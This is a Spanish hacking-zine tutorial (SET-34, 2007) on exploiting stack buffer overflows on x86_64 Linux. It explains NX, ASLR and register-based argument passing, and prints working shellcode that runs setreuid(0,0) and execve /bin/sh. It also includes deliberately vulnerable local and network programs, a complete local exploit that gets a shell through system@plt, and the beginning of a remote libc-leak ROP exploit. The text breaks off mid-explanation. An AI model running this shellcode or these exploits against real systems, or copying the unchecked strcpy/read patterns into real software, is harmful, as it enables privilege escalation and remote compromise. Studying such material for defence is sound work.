Copy Link
Add to Bookmark
Report
SET 034 0x0D
-[ 0x0D ]--------------------------------------------------------------------
-[ Overflows en Linux ]------------------------------------------------------
-[ by Raise ]--------------------------------------------------------SET-34--
=-|================================================-{ www.enye-sec.org }-====|
=-[ Introduccion a los overflows en Linux x86_64 ]-==========================|
=-|==========================================================================|
=-[ por RaiSe <raise@enye-sec.org> ]-========================-[ 10/09/2007]-=|
------[ 0.- Indice ]
0.- Indice
1.- Prologo
2.- Novedades x86_64
2.1.- Modos de ejecucion
2.2.- Nuevos registros
2.3.- Mnemonicos de 64 bits
2.4.- Llamadas a syscalls
3.- Dificultades en el camino
3.1.- No ejecucion de codigo en paginas por hardware
3.2.- Direccion de carga de librerias pseudo-aleatoria
3.3.- Paso de argumentos a funciones
4.- Shellcodes
4.1.- Shellcode que ejecuta una shell
5.- Tecnicas de explotacion
5.1.- Ideas basicas
5.2.- PLT
5.3.- Saltando aqui y alla
6.- Ejemplos simples de explotacion
6.1.- bof1.c local
6.2.- bof2.c remoto
7.- Conclusiones
8.- Despedida
------[ 1.- Prologo ]
Buenas. En este texto intentare aclarar un poco el tema de los overflows en
sistemas Linux x86_64 (linux a 64 bits en los nuevos procesadores para PC:
amd64, em64t, ..). No me metere a fondo en explicar conceptos teoricos, solo
lo justo y necesario para lo que nos interesa: aprovechar los overflows en
nuestro beneficio. Intentare por lo tanto ser lo mas practico posible, os
recuerdo que este texto solo es una introduccion al tema.
Para comprender este texto es necesario un conocimiento de la arquitectura
x86, y entender como funcionan los buffer overflow en dicha arquitectura.
Es posible que en el txt haya algun error, si es asi no dudes en hacermelo
saber a traves de raise@enye-sec.org para que pueda subsanarlo, gracias :).
------[ 2.- Novedades x86_64 ]
Con la llegada de los nuevos procesadores para PC de 64 bits han surgido
muchas novedades. Aqui mencionare las que nos interesan desde el punto de
vista de los overflows.
Nota: Recordar que el orden en que se guardan los datos en memoria sigue
siendo little-endian, lo que nos puede facilitar mucho las cosas a la hora de
sobreescribir parcialmente un registro y cosas asi.
----[ 2.1.- Modos de ejecucion ]
Las CPU's tienen varios modos de ejecucion. Basicamente se dividen en 2
grupos: long mode y legacy mode. En long mode el SO esta programado para
ejecutarse en 64 bits, es decir siempre que se este en long mode el SO es de
64 bits, no puede instalarse windows 95 y el procesador estar en long mode
por ejemplo. En legacy mode pasa al contrario, el SO siempre sera de 32 bits.
Para abreviar, long mode: SO de 64 bits, legacy mode: SO de 32 bits (por el
tema de la compatibilidad de SO's antiguos).
Dentro del legacy mode hay 3 submodos, que son los mismos que cualquier CPU
x86 moderna: protected mode, virtual-8086 mode y real mode. Directamente
pasamos del legacy mode (es todo igual que en la arquitectura x86).
Dentro del long mode (el que nos interesa), hay 2 submodos: 64-bit mode y
compatibility mode, practicamente los nombres lo dicen todo. Un SO moderno de
64 bits puede ejecutar programas de 32 bits sin necesidad de recompilacion,
porque?, gracias al compatibility mode. Tambien pasamos directamente del
compatibility mode por lo mismo de antes.
El interesante y con el que nos vamos a encontrar de aqui a unos años por
todas partes es el 64-bit mode: un SO de 64 bits ejecutando codigo de 64
bits.
----[ 2.2.- Nuevos registros ]
Pues bien, hay muchas novedades en el tema de registros del procesador.
Vuelvo a recordar que estos registros solo estan disponibles en long mode -
64-bit mode (a partir de ahora se entendera que siempre estamos en ese modo
de ejecucion). Los registros de antes (eax, ebx, ecx, edx, edi, esi..) siguen
existiendo como registros de 32 bits (y son accesibles), pero solo son la
mitad de los nuevos registros de 64 bits, que basicamente se llaman igual
pero cambiando la e por la r, es decir: rax, rbx, rcx, rdx, rsi, rdi, rsp,
rbp, rip. Son todos de 64 bits.
Aparte se añaden 8 nuevos registros de 64 bits, que se llaman r8, r9, r10,
r11, r12, r13, r14 y r15. Se puede acceder por partes a los registros. Por
ejemplo 'r8d' es la parte baja de 32 bits del registro 'r8', 'r8w' la parte
baja de 16 bits y 'r8b' es el byte bajo. A los registros "antiguos" se les
accede como antes: 'eax' es la parte baja de 32 bits de 'rax', 'ax' la de 16
bits, 'al' la de 8 bits, etc.
'rip' es el nuevo registro de puntero de intruccion (en vez de 'eip'). Es de
64 bits porque el espacio de direcciones tambien, las posiciones de memoria
son de 64 bits ('rsp' es de 64 bits..., vamos que todo, o casi, es de 64
bits). Los enteros (int) siguen siguendo de 4 bytes (32 bits), pero por
ejemplo los long son de 8 bytes, los punteros son de 8 bytes, etc.
----[ 2.3.- Mnemonicos de 64 bits ]
Las instrucciones en asm mas o menos son las mismas, con la salvedad del
nombre de los registros. Es decir: 'mov rax,rdx' copia rax en rdx, etc. Hay
que resaltar que la unica forma de hacer una llamada al sistema es a traves
de la instruccion 'syscall'. Si hicieramos 'sysenter' por ejemplo generaria
un error (os recuerdo que estamos en 'long mode & 64-bit mode'). Paso a la
siguiente seccion porque aqui no hay mucho mas que contar.
----[ 2.4.- Llamadas a syscalls ]
Como ya adelante en la seccion anterior, se hacen a traves de la instruccion
'syscall' (ni 'sysenter' ni 'int $0x80'). El numero de syscall a llamar se
coloca en rax, y los argumentos en los siguientes registros por orden: rdi,
rsi, rdx, r10, r8, r9 (siendo rdi el primer argumento, rsi el segundo, etc.).
El valor devuelvo por la syscall se coloca en rax. Durante la syscall no se
garantiza que se preserve el valor de rcx y r11 (vamos que hay que salvarlos
antes si se tiene pensado utilizarlos luego para algo).
------[ 3.- Dificultades en el camino ]
Como veremos mas adelante las cosas se han puesto bastante dificiles. Se ha
añadido 'proteccion' via hardware, y el kernel se ha parcheado añadiendo aun
mas dificultades. Definitivamente el tipico exploit_base.c en el que
modificando cuatro valores tenias un exploit funcional ha pasado a la
historia.
----[ 3.1.- No ejecucion de codigo en paginas por hardware ]
Como iba diciendo se ha añadido algo basico para la seguridad del sistema.
Antes las paginas de memoria (la memoria se divide en paginas, por cierto
aprovecho para decir que en 'long mode' se han cargado directamente la
segmentacion) no tenian la opcion hardware de ser de lectura y NO
ejecutables, si eran de lectura eran ejecutables. Ahora si, una pagina de
memoria puede ser por ejemplo de lectura/escritura y NO ejecutable. Con lo
cual el stack, la memoria dinamica gestionada con *alloc (bss), la seccion de
datos (data), etc., ya no es ejecutable, y nos sera imposible ejecutar en
ella una shellcode (a no ser que se modifique para que ese area de memoria si
sea ejecutable, con mprotect por ejemplo, o especificandolo en una llamada a
mmap).
----[ 3.2.- Direccion de carga de librerias pseudo-aleatoria ]
Aparte de la dificultad para ejecutar nuestra shellcode, saltar a la libc
tampoco sera coser y cantar. El kernel ha sido parcheado para que las
llamadas a mmap (la que se utiliza para cargar en memoria las librerias
dinamicas como la libc) devuelvan un valor pseudo-aleatorio. El resultado es
que en cada ejecucion de un proceso la libc (y todas las librerias dinamicas)
se cargan en una direccion diferente. Ejemplo:
[raise@enyelab ~]$ ldd /bin/id
libc.so.6 => /lib64/libc.so.6 (0x00002af504e0c000)
/lib64/ld-linux-x86-64.so.2 (0x00002af504cf1000)
[raise@enyelab ~]$ ldd /bin/id
libc.so.6 => /lib64/libc.so.6 (0x00002aae7b5eb000)
/lib64/ld-linux-x86-64.so.2 (0x00002aae7b4d0000)
Como veis las direcciones de las librerias son diferentes, a pesar de que el
ejecutable ('/bin/id') sea exactamente el mismo. Eso hace que la conocida
tecnica de return-into-libc no sea aplicable tal cual.
----[ 3.3.- Paso de argumentos a funciones ]
Despues de eso direis: bueno, ya no puede ir peor. Pues si puede :). En Linux
x86_64 las llamadas a funciones son un poco diferentes a las de x86 (llamadas
a funciones normales, no me estoy refiriendo a syscalls). En la arquitectura
x86 los argumentos a las funciones se pasaban a traves de la pila: se hacia
'push $arg2', 'push $arg1', 'call funcion'. Con lo cual si controlabas el
stack justo al comienzo de una funcion controlabas sus argumentos. Esto se
utilizaba mucho en la tecnica de retornar en la libc, ya que al controlar el
stack (o un trozo de stack) controlabas los argumentos de paso a las
funciones; luego solo era cuestion de ir enlazando llamadas con los
argumentos apropiados y al final conseguias una shell (o lo que fuera).
Ahora para complicarlo un poco mas, los argumentos se pasan en los registros
del procesador. Para ser exactos se pasan en este orden: rdi, rsi, rdx, rcx,
r8, r9 (siendo rdi el primer argumento de la funcion, rsi el segundo, etc.).
De esta forma aunque controles el stack al llamar a una funcion no controlas
sus argumentos, hay que apañarselas para colocar los argumentos necesarios en
los registros adecuados. Aun asi la direccion de retorno si se sigue
guardando en la pila.
Nota: Hay casos en los que el argumento si se pasa a traves de la pila,
por ejemplo cuando el arg es una estructura grande (mayor de 128
bits). Pero para los casos 'normales': enteros, longs, punteros,
etc. se usan los registros, y en libc 'creo' que siempre que haya
que pasar una estructura como argumento se pasa su direccion
(puntero), con lo que siempre se usaran los registros para pasar
argumentos a funciones (al menos en la libc actual).
------[ 4.- Shellcodes ]
Las shellcodes para x86_64 son muy parecidas a las de x86. Practicamente solo
cambian el nombre de los registros, y que se utiliza la instruccion 'syscall'
para las llamadas al sistema en vez de 'sysenter' o 'int $0x80'. En este
apartado pondre una shellcode que da una shell (lo tipico), pero en realidad
las scodes no tienen mucho sentido en la explotacion de overflows en x86_64.
Pocas veces podremos ejecutarlas debido al tema de las paginas no
ejecutables, para conseguirlo tendriamos que reservar/modificar una zona de
memoria a traves de mmap/mprotect, lo cual muchas veces es muy dificil. Es
mucho mas facil ejecutar directamente las llamadas a la libc encadenadas que
ingeniartelas para poder ejecutar una shellcode. A pesar de todo la pongo a
modo 'academico'.
----[ 4.1.- Shellcode que ejecuta una shell ]
---- shellcode ----
char scode[]=
/*
__asm__("\
.byte 0xeb ;\
.byte 0x1f ;\
pop %rbx ;\
xor %rdi,%rdi ;\
xor %rsi,%rsi ;\
xor %eax,%eax ;\
movb $0x71,%al ;\
syscall ;\
mov %rbx,%rdi ;\
xor %rdx,%rdx ;\
push %rdx ;\
push %rdi ;\
mov %rsp,%rsi ;\
xor %rax,%rax ;\
movb $0x3b,%al ;\
syscall ;\
.byte 0xe8 ;\
.byte 0xdc ;\
.byte 0xff ;\
.byte 0xff ;\
.byte 0xff ;\
.string \"/bin/sh\" ;\
.byte 0x00 ;\
");
*/
"\xeb\x1f\x5b\x48\x31\xff\x48\x31\xf6\x31\xc0\xb0\x71\x0f"
"\x05\x48\x89\xdf\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31"
"\xc0\xb0\x3b\x0f\x05\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00";
---- eof ----
No tiene mucha ciencia, los 2 primeros bytes son el salto (jmp) de toda la
vida de las shellcodes, y los 5 bytes del final antes del string de "/bin/sh"
son el 'call' al 'pop %rbx'. Luego es lo mismo de siempre, colocar los
argumentos en los registros apropiados y llamar a 'syscall'. La scode hace un
setreuid(0,0) y un execve de "/bin/sh". El setreuid es por el tema de la bash
del euid 0. La verdad es que la shellcode no es gran cosa, no deberia llevar
el null del final sino que deberia ponerlo solo en tiempo de ejecucion, pero
para fines didacticos es mas que suficiente ;P.
Para probarla meter el __asm__() dentro de un main o cualquier funcion de
codigo, o hacer un mmap con proteccion de ejecucion+escritura para poder
copiar ahi la shellcode y ejecutarla:
[raise@enyelab x86_64]$ ls -l test-scode
-rwsr-xr-x 1 root root 10566 sep 10 00:39 test-scode*
[raise@enyelab x86_64]$ ./test-scode
sh-3.1# id
uid=0(root) gid=500(raise) groups=500(raise)
------[ 5.- Tecnicas de explotacion ]
En este apartado tratare de explicar un poco algunas tecnicas que pueden
sernos de utilidad a la hora de explotar los overflows. Hay que decir que no
hay una receta magica, se basan en el estudio del propio ejecutable
vulnerable y de las librerias del sistema. Por lo tanto, es basico disponer
de una copia local de lo que vayamos a utilizar (ejecutable, librerias a las
que saltaremos, etc.), ya que utilizaremos direcciones exactas.
En exploits locales no hay problema, en remoto habra que conseguirlo
bajandose la libc de la distro en cuestion (suponiendo que no haya sido
modificada/actualizada), y con el programa vulnerable mas de lo mismo. Si el
programa vulnerable no viene de una instalacion precompilada (tipo rpm) con
la distro la cosa se complica, habria que usar fuerza bruta o cosas parecidas
que no se tratara en este texto.
----[ 5.1.- Ideas basicas ]
Como decia todo se basa en el estudio del ejecutable y de las librerias
dinamicas cargadas en memoria. Y direis: las librerias?, pero no se cargaban
en direcciones de memoria pseudo-aleatorias?. Obviamente si, pero en algunos
casos se puede averiguar la direccion de las libs en tiempo de ejecucion del
programa vulnerable.
De entrada recordaros que el programa vulnerable siempre se carga en una
direccion de memoria establecida (al menos de momento, hay proyectos para que
esto no sea asi y se carge como si fuera una libreria dinamica, pero en la
actualidad no estan lo suficientemente maduros y no estan implantados 'de
serie'). Por lo tanto tenemos unas direcciones a las que podemos saltar y de
las que conocemos su contenido (instrucciones asm). Dependiendo del
tamaño/complejidad del programa vulnerable esto nos da mucho juego;
cientos/miles de instrucciones asm a las que podemos saltar.
Si nos encontramos una instruccion 'syscall' (opcodes: 0x0f 0x05) dentro del
programa vulnerable la cosa se simplifica mucho, ya que podremos ejecutar
llamadas al sistema sin necesidad de conocer la direccion de la libc.
Logicamente tendriamos que colocar los argumentos necesarios en los registros
apropiados utilizando para ello el propio codigo (partes de el) del
ejecutable, encadenando todos los trozos de codigo con 'rets' (os recuerdo
que controlaremos el stack). Esto es lo tipico de los return-into-libc.
Desgraciadamente pocas veces encontraremos una instruccion 'syscall' en el
propio codigo del ejecutable, a no ser que una instruccion asm utilice los
bytes 0x0f 0x05 como 'datos', y tengamos la suerte de que esten seguidos. Por
lo tanto muchas veces tendremos que saltar a la libc (averiguando su
direccion con metodos como el que veremos mas adelante en el PoC bof2.c), o a
traves de la PLT.
----[ 5.2.- PLT ]
Nota: Voy a intentar explicarlo brevemente y de forma practica, espero no
cometer ningun error.
Supongo que muchos sabeis que es la PLT (Procedure Linkage Table). Se usa
para calcular en tiempo de ejecucion las direcciones de los procedimiendos
(funciones) en las librerias de enlace dinamico. Se utiliza en conjuncion con
GOT (Global Offset Table), que contiene las direccionas de memoria absolutas
de las funciones una vez resueltas.
Mas o menos funciona asi. Tenemos un codigo que ejecuta una llamada a una
funcion de la libc y se compila de forma dinamica (si se compilara de forma
estatica no se saltaria a la libc, sino que se copiaria la propia funcion en
el codigo del ejecutable), por ejemplo este:
---- ejemplo-plt.c ----
#include <stdio.h>
int main(void)
{
printf("hola!\n");
}
---- eof ----
Hace una llamada a 'printf', que esta ubicada en la libc. En tiempo de
compilacion es imposible saber cual es la direccion 'real' de la funcion
printf, ya que la libc aun no se ha cargado en el espacio de direcciones del
proceso. Por lo tanto en realidad se salta a una entrada de la PLT, que
tienen esta pinta:
0x4003b0: jmpq *1049706(%rip) # 0x500820 <_GOT_+32>
0x4003b6: pushq $0x1
0x4003bb: jmpq 0x400390
Esta es la entrada PLT de la funcion printf, si nos fijamos en el codigo de
main:
(gdb) disass main
Dump of assembler code for function main:
0x0000000000400478 <main+0>: push %rbp
0x0000000000400479 <main+1>: mov %rsp,%rbp
0x000000000040047c <main+4>: mov $0x400578,%edi
0x0000000000400481 <main+9>: callq 0x4003b0
0x0000000000400486 <main+14>: leaveq
0x0000000000400487 <main+15>: retq
Vemos que el call (main+9) salta justo a la entrada PLT de printf. Ahora es
cuando entra en juego la GOT (Global Offset Table). La primera instruccion de
la entrada PLT hace un 'jmpq *1049706(%rip)', que en realidad es un salto al
contenido de la entrada GOT de printf (0x500820). La GOT solo contiene datos,
nunca se ejecutara codigo, es como un almacen donde se guardan los valores de
las direcciones de las funciones. La primera vez que se ejecuta una entrada
de la PLT hay que resolver primero la direccion que buscamos, por lo que la
GOT siempre apuntara a la direccion siguiente (segunda instruccion de la
entrada PLT correspondiente). Lo vemos:
(gdb) x/1xg 0x500820
0x500820 <_GOT_+32>: 0x00000000004003b6
El contenido de la entrada GOT correspondiente a 'printf' apunta a la segunda
instruccion de la entrada PLT de 'printf', es decir al 'pushq $0x1'. Porque?,
porque el valor de la direccion de 'printf' nunca se ha resuelto aun, con lo
que el 'jmpq *1049706(%rip)' en realidad salta al 'pushq $0x1'. Seguimos..
La PLT mete en la pila un valor (0x1), que sera necesario para que el dynamic
linker (enlazador dinamico) sepa que la funcion a resolver es 'printf' y no
otra. En una PLT cada entrada tiene dicho valor distinto para diferenciar las
funciones que hay que resolver. Despues hace un 'jmpq 0x400390', que
transfiere el control al dynamic linker, el cual resumiendo mucho resuelve la
direccion absoluta de 'printf' y la coloca en su entrada correspondiente en
la GOT (0x500820 para ser exactos). Despues transfiere el control a la misma,
y por fin estamos en printf en la libc :).
Luego por ejemplo si hacemos 8 llamadas a printf seguidas saltara a la PLT de
'printf' (como antes), pero ya se salta todo el rollo de resolver la
direccion porque en la GOT (0x500820) ya estara la direccion real de
'printf'.
Bueno, y porque todo este rollo?. Pues porque la PLT puede ser nuestra gran
aliada, ya que se encuentra en el propio codigo del ejecutable, con lo cual
se carga en una direccion de memoria prefijada y que conocemos. Por lo tanto
podemos saltar a la entrada PLT de la funcion de libc que mas nos guste, que
el enlazador dinamico se encargara de averiguar su direccion por nosotros. La
pega es que para que la entrada PLT de 'nuestra' funcion este disponible, el
programa vulnerable tiene que utilizarla en alguna parte de su codigo, ya que
sino el compilador no la incluira y no estara en la PLT. Volvemos a lo de
antes, cuanto mas complejo sea el programa vulnerable mas funciones
utilizara, y mas facil lo tendremos para encontrar alguna que nos sea util.
----[ 5.3.- Saltando aqui y alla ]
La frase de este titulo podria resumir la tecnica principal para conseguir
explotar un overflow en Linux x86_64; ir saltando a trozos de codigo del
propio ejecutable o alguna libreria dinamica. Como controlamos el stack
(recordad que este texto trata sobre los overflows de pila), controlamos las
direcciones de retorno. Por poner un ejemplo, queremos copiar 'rdx' en 'rdi',
pues buscamos en el ejecutable/libs algo asi:
0x400642: mov %rdx,%rdi
0x400645: retq
Como controlamos el stack, ese 'retq' (por cierto la 'q' es porque es de 64
bits) saltara a donde nosotros queramos, y de esta forma podemos ir enlazando
trozos de codigo. Cuando sobreescribamos la direccion de retorno de la
funcion vulnerable, todo lo que vaya a continuacion sera tratado como
direcciones de retorno de nuestros 'trozos' de codigo encadenado.
Por ejemplo, supongamos que aparte de querer copiar 'rdx' en 'rdi' queremos
poner a cero 'rsi'. Y tenemos esto disponible en alguna parte:
0x400750: xor %rsi,%rsi
0x400752: retq
Pues bien, solo tenemos que generar nuestro overflow con una pinta como esto:
*AAAAAAAA's necesarios para provocar el overflow*
*0x400642*
*0x400750*
*siguiente trozo de codigo + retq*
*siguiente trozo de codigo + retq*
..
La direccion de retorno de la funcion vulnerable se sobreescribe con
0x400642, con lo q salta ahi y ya tenemos 'rdx' en 'rdi'. Luego hace un retq:
salta a 0x400750 -> xor %rsi,%rsi, y hace otro retq.., y asi vamos enlazando
nuestros trozos de codigo.
Por cierto, normalmente antes de un 'retq' hay un 'leaveq', para restaurar
'rbp'. Esto nos complica las cosas, ya que seria imposible enlazar dos trozos
de codigo seguidos (o muy dificil, ya que habria que colocar en 'rbp' el
valor correcto) que tuvieran un 'leaveq' antes del 'retq'. Pero este problema
esta practicamente solucionado en el caso de saltar a la libc, ya que desde
hace tiempo se ha compilado entera con la opcion fomit-frame-pointer. Asi
mismo muchos programas/aplicaciones de usuario tambien se compilan con esa
opcion, con lo que el 'rbp' no se salva/restaura al comienzo y final de una
funcion.
Pues bien, sabiendo todo esto solo hay que analizar los datos para poder
explotar un overflow, saltar a los lugares idoneos con el stack adecuado, y
ya tenemos un exploit :).
------[ 6.- Ejemplos simples de explotacion ]
Vamos a ver un par de ejemplos muy sencillos de overflows+exploits hechos
para ilustrar un poco las tecnicas descritas. De todas formas cada overflow
es un mundo, estos 2 PoC's solo son un ejemplo entre mil (quiero decir que no
hay una tecnica que valga 'para todo').
Pues bien, vamos a ello..
----[ 6.1.- bof1.c local ]
Este es un overflow tipico de pila, que se explotara de forma local. Es muy
simple y esta orientado para que sea 'academico', por ejemplo la llamada a
system() solo esta para que dicha funcion se encuentre en la PLT del
ejecutable.
---- bof1.c ----
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void basura(void) { system(NULL); }
void f1(char *argv[])
{
char buf[1024];
strcpy(buf, argv[1]); /* OVERFLOW */
}
int main(int argc, char *argv[])
{
f1(argv);
return(0);
}
---- eof ----
Como vemos este programilla lo unico que hace es llamar a la funcion
f1(argv), la cual copia argv[1] en buf sin limite de tamaño a traves de
strcpy. Es decir, se sobreescribe la direccion de retorno de f1.
Bien, en este caso la solucion es muy sencilla, ya que tenemos la 'suerte' de
que hay una entrada en la PLT de la funcion system. Ya se que esto no es muy
realista, pero para entrar en materia es mas que sufuciente. Pues nada, como
sabemos la direccion exacta de la entrada PLT de system solo tenemos que
saltar a ella para conseguir nuestra shell.
Aqui hay un par de comentarios a tener en cuenta. El primero es que la
funcion strcpy añade un caracter nulo al final del string. En este caso no
tiene importancia, porque la direccion que vamos a sobreescribir es
exactamente esta:
(gdb) x/1xg $rsp
0x7ffff6d3a078: 0x000000000040051e
Ese es el valor que habra en el stack justo en el reqt del final de f1. Como
nosotros vamos a saltar a la PLT cuya direccion de comienzo es
0x00000000004003c8 (objdump -t bof1 | grep .plt), significa que delante de lo
que vamos a sobreescribir hay muchos ceros :). Aprovechandonos de que los
datos en memoria se siguen guardando en little-endian podemos sobreescribir
los 3 bytes bajos de la direccion de retorno, y el cuarto byte bajo se
sobreescribira con el null que metera strcpy. Ahora bien, aqui la gran faena
(x no decir otra cosa) es que ya no podemos enlazar varias llamadas seguidas,
tenemos que ejecutar la shell del tiron (por culpa del null que mete strcpy).
En realidad es muy sencillo, y aqui entra en juego un factor clave para la
explotacion de los overflows. Como los argumentos de las funciones se pasan
en los registros y no en el stack como antes, significa que despues de llamar
a una funcion los registros no cambian, sigues teniendo los argumentos de la
llamada anterior en ellos. Aprovechandonos de esto es coser y cantar.
Recordamos como se produce el overflow:
strcpy(buf, argv[1]);
Esto significa que %rdi apuntara a buf, y que %rsi apuntara a argv[1]. El
contenido de buf y argv[1] los controlamos, por lo tanto controlamos el
buffer que se le pasara a system(): buf = %rdi. Con lo cual elaborando el
overflow de esta forma conseguiremos ejecutar una shell:
/bin/sh;#PADPADPADPAD..3 bytes bajos de la entrada PLT de system
Hay que meter el numero justo de bytes para sobreescribir correctamente la
direccion de retorno con los 3 bytes + el null; saltara a la entrada PLT de
system y tendremos un system("/bin/sh;#PADPADPADPAD.."). Como metemos el
caracter de comentario (#) lo que venga detras no se ejecutara.
Veamos el exploit:
---- xpbof1.c ----
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define SYSTEM_PLT 0x00000000004003f8
int main(void)
{
char buf[2048];
unsigned long *p = (unsigned long *) buf;
int i;
memset(buf, 0x00, sizeof(buf));
for (i=0; i < 128; i++)
*p++ = (unsigned long) 0x4141414141414141;
*p++ = 0x4242424242424242;
*p = SYSTEM_PLT;
memcpy(buf, "/bin/sh;#", 9);
execl("./bof1", "./bof1", buf, NULL);
}
---- eof ----
El exploit mete 1024 bytes del caracter 'A' (0x41), que llenan buf[] en bof1
f1(). Despues mete 8 bytes del caracter 'B' (0x42), que seran el %rbp que se
sobreescribira (suponemos que bof1 no se ha compilado con la opcion
fomit-frame-pointer, si fuera asi estos 8 bytes habria que eliminarlos). Y
luego metemos los 3 bytes de la entrada PLT de system (aunque en el exploit
ponga *p = 0x00000000004003f8 solo es porque el puntero p es de tipo unsigned
long, los 4 bytes nulos altos no se utilizaran ya que el primer null es el
que marca el final de cadena, era para evitar hacer castings y demas :P).
Para saber la direccion de la entrada PLT de system lo podemos mirar, o con
el gdb:
(gdb) disass basura
Dump of assembler code for function basura:
0x00000000004004c8 <basura+0>: push %rbp
0x00000000004004c9 <basura+1>: mov %rsp,%rbp
0x00000000004004cc <basura+4>: mov $0x0,%edi
0x00000000004004d1 <basura+9>: callq 0x4003f8 <-- AQUI
0x00000000004004d6 <basura+14>: leaveq
0x00000000004004d7 <basura+15>: retq
O con el objdump:
[raise@enyelab x86_64]$ objdump -d bof1 | grep system@plt
00000000004003f8 <system@plt>: <-- AQUI
Ahora solo queda probar el exploit:
[raise@enyelab x86_64]$ ./xpbof1
sh-3.1$
Ya tenemos una shell :). Por cierto, la bash nos quitara el euid 0 en caso de
dar a bof1 suid root, menos en debian creo (por un tema de que la bash que
lleva esta modificada para que expresamente no lo haga). Para que no lo
hiciera habria que hacer un setuid(0) (por ejemplo), o no utilizar system
sino exec* y ejecutar una shell que no fuera bash (bof1 = didactico).
----[ 6.2.- bof2.c remoto ]
Ahora veremos otro ejemplo de explotacion de un overflow (remoto) algo mas
complejo que el anterior, pero que sigue siendo bastante sencillo. Se trata
de un programilla que lo unico que hace es escuchar en un puerto, y cuando
recibe una conexion mostrar un mensaje y pedir una contraseña. Al leer la
contraseña es cuando se produce el overflow.
Vemos el codigo:
---- bof2.c ----
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <unistd.h>
/* funciones */
void manejador(int s);
int main(int argc, char *argv[])
{
int soc, soc2;
struct sockaddr_in dire;
if (argc != 2)
{
fprintf(stderr, "%s puerto\n", argv[0]);
exit(-1);
}
if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
fprintf(stderr, "Error al crear el socket.\n");
exit(-1);
}
bzero((void *) &dire, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons(atoi(argv[1]));
dire.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1)
{
fprintf(stderr, "Error al hacer bind, seguramente el puerto"
" ya esta en uso.\n");
exit(-1);
}
listen(soc, 5);
if ((soc2 = accept(soc, NULL, 0)) == -1)
return(-1);
else
manejador(soc2);
return(0);
} /********** fin de main() ***********/
void manejador(int s)
{
char buf[1024];
write(s, "* BOF2 Server, bienvenid@ :)\n\n", 30);
write(s, "Introduce tu clave:\n", 20);
read(s, buf, 2*sizeof(buf)); /* OVERFLOW */
} /************ fin manejador() ************/
---- eof ----
Muy simple. Hace un socket / bind / listen / accept, y el socket de la
conexion se le pasa como argumento a la funcion manejador. Es ahi donde se
produce el overflow ya que lee el doble de bytes del tamaño de buf (1024).
Una ilustracion de lo simple que es el programa:
--
[raise@enyelab x86_64]$ ./bof2
./bof2 puerto
[raise@enyelab x86_64]$ ./bof2 7777 &
[1] 4038
[raise@enyelab x86_64]$ nc localhost 7777
* BOF2 Server, bienvenid@ :)
Introduce tu clave:
CLAVE_DE_PRUEBA
[1]+ Done ./bof2 7777
[raise@enyelab x86_64]$
--
Lo unico que hicimos fue ejecutar ./bof2, el cual nos muestra un error para
que indiquemos el numero de puerto, lo volvemos a ejecutar con el puerto 7777
en segundo plano, luego nos conectamos a localhost al puerto 7777, nos
muestra el mensajito, metemos "CLAVE_DE_PRUEBA", y termina. Tan simple como
eso :). Obviamente hay un overflow y si metemos 1040 A's como password:
[raise@enyelab x86_64]$ nc localhost 7777
* BOF2 Server, bienvenid@ :)
Introduce tu clave:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA's [1040]
[1]+ Violación de segmento (core dumped) ./bof2 7777
El proceso que habia en segundo plano hace crash. Pues bien, ya sabemos lo
que hace el programa y donde esta el overflow, y ahora como lo explotamos
sino hay system() ni exec*() en la PLT?. Podemos intentar buscar una
instruccion 'syscall' en el propio codigo del ejecutable, pero sin exito
debido al poco tamaño del mismo. Definitivamente habra que saltar a la libc o
a alguna libreria de enlace dinamico, pero como averiguamos su direccion
exacta?.
Aqui entra un poco en juego la imaginacion. Tenemos que utilizar las
funciones de entrada/salida que use el programa vulnerable para averiguar la
direccion de las librerias en tiempo de ejecucion. Es muy raro que un
programa no haga E/S, y si la hace alguna funcion habra en la PLT que nos
sirva. En este ejemplo tenemos read y write, pero en otros casos podria
utilizarse *printf o similares. Ahora nos fijamos en donde se produce el
overflow:
read(s, buf, 2*sizeof(buf));
Como los registros no son modificados antes del retorno de la funcion
manejador(), quiere decir que saltemos a donde saltemos sobreescribiendo la
direccion de retorno tendremos: en %rdi el socket, en %rsi la direccion de
buf, y en %rdx 2*sizeof(buf), o sea 2048. Con esos parametros lo tenemos muy
facil, solo tenemos que sobreescribir la direccion de retorno con la entrada
PLT de write, la cual nos enviara el contenido de buf (que ya lo sabemos y no
nos importa) + 1024 bytes del stack. Analizando esos 1024 bytes de
informacion sacaremos la direccion de libc. Si quisieramos 'mostrar' mas
bytes, podriamos saltar a algo asi dentro del propio codigo de bof2:
pop %rdx
retq
Como controlamos el stack meteriamos en %rdx el valor que quisieramos, y
luego saltariamos a la entrada PLT de write con el retq. Las posibilidades
son las que el programa vulnerable nos proporcione, solo hay que buscar a
donde saltar. De todas formas en este caso no nos hace falta, ya que con 1024
bytes de informacion nos es suficiente.
Bueno, estamos en que saltamos al write y nos muestra informacion, pero y
luego?. Necesitamos 'volver' a provocar otro overflow en tiempo de ejecucion,
ya que la informacion obtenida solo es valida para esa instancia del proceso,
si volvemos a ejecutar bof2 otra vez la direccion de libc sera diferente y no
nos servira de nada. Pues muy facil, volvemos a saltar read (entrada PLT),
que ya tenemos los argumentos colocados :), y volvemos a provocar otro
overflow, esta vez saltando directamente a la libc, ya que habremos calculado
su direccion en el overflow anterior. Para hacer un resumen este es el
esquema del overflow:
* 1032 A's (sobreescribe %rbp de manejador tambien) *
* direccion de entrada PLT de write *
- aqui nos muestra la informacion del stack, la analizamos y calculamos
la direccion de la libc -
* direccion de entrada PLT de read *
* 1048 bytes para rellenar el buffer *
* siguiente direccion a donde saltamos *
Bien, estamos en el punto en el que bof2 vuelve a hacer un read como el
original, concretamente: read(s, buf, 2048) (no pongo el sizeof para
abreviar). Recordemos que %rsp no se ha movido, en el momento en que salta al
segundo read que nosotros hemos provocado apunta a buf[1048]. Por lo tanto,
